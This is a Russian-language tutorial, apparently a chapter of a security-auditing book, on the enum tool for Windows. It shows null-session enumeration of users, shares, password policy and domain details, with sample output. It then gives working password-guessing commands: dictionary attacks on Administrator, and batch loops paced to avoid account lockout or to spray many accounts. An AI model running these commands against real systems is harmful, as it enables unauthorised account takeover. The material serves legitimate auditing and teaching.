Средства ревизии Windows
ENUM
Enum получает от исследуемых Windows NT-, 2000- или XP-систем информацию о пользователях, группах, общих ресурсах и базовую системную информацию. Один из главных аспектов enum состоит в том, что он поставляется в исходных кодах. Так что если вы обнаружите сбои в работе, вы можете воспользоваться собственной копией книжки Строустропа по C++ и открыть enum.cpp в редакторе vi. Файл доступен по адресу http://razor.bindview.com/tools/desc/enum_readme.html.
Реализация
Несмотря на то, что enum поставляется в исходных кодах, исполняемый модуль также доступен. Программа использует встроенные функции Windows, так что не нужно никаких дополнительных DLL-библиотек. Как только вы обнаружите открытый TCP-порт 139 в Windows, тут же запускайте enum.
C:\>enum.exe usage: enum.exe [switches] [hostname|ip] -U: get userlist -M: get machine list -N: get namelist dump (different from -U|-M) -S: get sharelist -P: get password policy information -G: get group and member list -L: get LSA policy information -D: dictionary crack, needs -u and -f -d: be detailed, applies to -U and -S -c: don't cancel sessions -u: specify username to use (default "") -p: specify password to use (default "") -f: specify dictfile to use (wants -D)
Первые шесть параметров возвращают богатейшую информацию о цели исследования, обеспечивая доступ к общему ресурсу IPC$ через 139 или 445 порт. По умолчанию программа создает соединение с использованием NULL-ресурса - обычно это анонимный пользователь. Вы можете задать одновременно все шесть параметров, но мы сделаем это по отдельности, чтобы получить удобочитаемую выходную информацию.
C:\>enum -UPG 192.168.0.139 server: 192.168.0.139 setting up session... success. password policy: min length: none min age: none max age: 42 days lockout threshold: none lockout duration: 30 mins lockout reset: 30 mins getting user list (pass 1, index 0)... success, got 5. Administrator Guest IUSR_ALPHA IWAM_ALPHA TsInternetUser Group: Administrators ALPHA\Administrator Group: Guests ALPHA\Guest ALPHA\TsInternetUser ALPHA\IUSR_ALPHA ALPHA\IWAM_ALPHA Group: Power Users cleaning up... success.
Строки, помеченные жирным шрифтом, свидетельствуют о том, что выбранная система прекрасно подходит для подбора пароля. Число попыток входа с неправильным паролем не ограничено. На основании списка пользователей мы также сделали вывод, что в системе установлен Internet Information Server (IIS) ( IUSR_ALPHA, IWAM_ALPHA ) и Terminal Services ( TsInternetUser ).
Воспользуемся параметрами -MNS для получения сведений, относящихся к серверу.
C:\>enum.exe -MNS 66.192.0.139 server: 66.192.0.139 setting up session... success. getting namelist (pass 1)... got 5, 0 left: Administrator Guest IUSR_ALPHA IWAM_ALPHA TsInternetUser enumerating shares (pass 1)... got 3 shares, 0 left: IPC$ ADMIN$ C$ getting machine list (pass 1, index 0)... success, got 0. cleaning up... success.
Параметры позволили получить список пользователей, но мы также обнаружили общие файловые ресурсы. В данном случае присутствуют только ресурсы по умолчанию; однако мы можем предположить, что система имеет только один жесткий диск: C$. Помните, что здесь также установлен IIS. Из этого следует, что корневая директория для хранения Web-документов размещается на том же устройстве, что и директория C:\Winnt\System32. Это великолепная комбинация для использования некоторых особенностей IIS, например, такой, как ошибка в обходе директории Unicode.
Используем параметр -L для получения информации о Local Security Authority (LSA). Эта команда возвращает данные о системе и соответствующем домене.
C:\>enum.exe -L 66.192.0.139 server: 66.192.0.139 setting up session... success. opening lsa policy... success. server role: 3 [primary (unknown)] names: netbios: ALPHA domain: MOONBASE quota: paged pool limit: 33554432 nonpaged pool limit: 1048576 min work set size: 65536 max work set size: 251658240 pagefile limit: 0 time limit: 0 trusted domains: indeterminate netlogon done by a PDC server cleaning up... success.
Теперь мы знаем, что имя системы ALPHA, и она относится к домену MOONBASE.
Зачастую вы можете обнаружить, что пользователь Administrator не имеет пароля на вход. Это случается, когда администратор проскакивает процесс инсталляции и забывает установить сложный пароль, или когда администратор предполагает, что пароль для входа с полномочиями администратора достаточно сложен. Используйте параметры -U и -p для получения информации о конкретном пользователе.
C:\>enum -UMNSPGL -u administrator -p "" 192.168.0.184
Пример из жизни. Угадай пароль!
Возможности для задания имени пользователя и пароля enum представляют собой элементарное средство для подбора паролей и, кроме того, включают опцию -f, что еще более упрощает ситуацию. Опция -P возвращает информацию об алгоритме пароля цели. Сюда входит период блокировки и число неправильных логинов до того, как Windows заблокирует системный пользовательский профиль. Вы должны всегда узнать это прежде, чем пытаться взломать пользовательский профиль.
C:\enum -P 192.168.0.36 server: 192.168.0.36 setting up session... success. password policy: min length: 7 min age: 2 days max age: 42 days lockout threshold: 5 lockout duration: 30 mins lockout reset: 30 mins cleaning up... success.
Воспользуйтесь этой информацией, чтобы настроить взлом перебором.
Заметьте, что, по определению, пользовательский профиль администратора не может быть заблокирован попытками неправильного ввода пароля. Воспользуйтесь средством passprop/adminlockout из Resource Kit, если хотите применить практику блокировки доступа к администратору. Если блокировка пользовательского профиля не применена, то тест очень прост; присоедините словарь к цели. В этом примере никакие пароли не могут быть короче 7 знаков (хотя администратор всегда может установить произвольный пароль), следовательно, вам придется удалить слова из 6 букв из своего словаря.
Выберите пользовательский профиль для взлома, настройте свой любимый файл со словарем и спускайте с привязи enum.
C:\enum -D -u Administrator -f dict.txt
Так запускается достаточно быстрая атака на пользовательский профиль администратора. Если вы пытаетесь взломать чей-либо пользовательский профиль, вам придется уделить больше внимания ограничениям по числу попыток. Подход, который работает в пределах 5 неправильных логинов, и период в 30 минут требует применения средств Cygwin или Resource Kit (для функции режима ожидания).
C:\for /F %%p in (dict.txt) do enum -u Istari -p %%p -M 192.168.0.36 output.txt && sleep 180s
Заметно, что практика блокировки серьезно влияет на использование подбора пароля. Однако мы можем сменить нашу методологию, нацелившись сразу на нескольких пользовательских профилей, чтобы ускорить процесс. Воспользуйтесь опцией -G, чтобы идентифицировать пользователей из группы администратора или любой другой группы, на которую вы хотите нацелиться.
C:\enum -G 192.168.0.36
Затем снова примените перебор к обоим пользовательским профилям. Поместите имена пользовательских профилей в файл под названием users.txt. Если вам надо протестировать довольно большую пользовательскую базу, то не стоит беспокоиться о блокировке пользовательского профиля.
C:\for /F %%p in (dict.txt) do for /F %%u in (users.txt) do enum -u %%u -p %%p -M 192.168.0.36 output.txt
При использовании этой техники файл users.txt должен быть большим, а файл pass.txt маленьким. Она отыскивает пользовательские профили с простыми паролями, такими как password, changeme или pass123.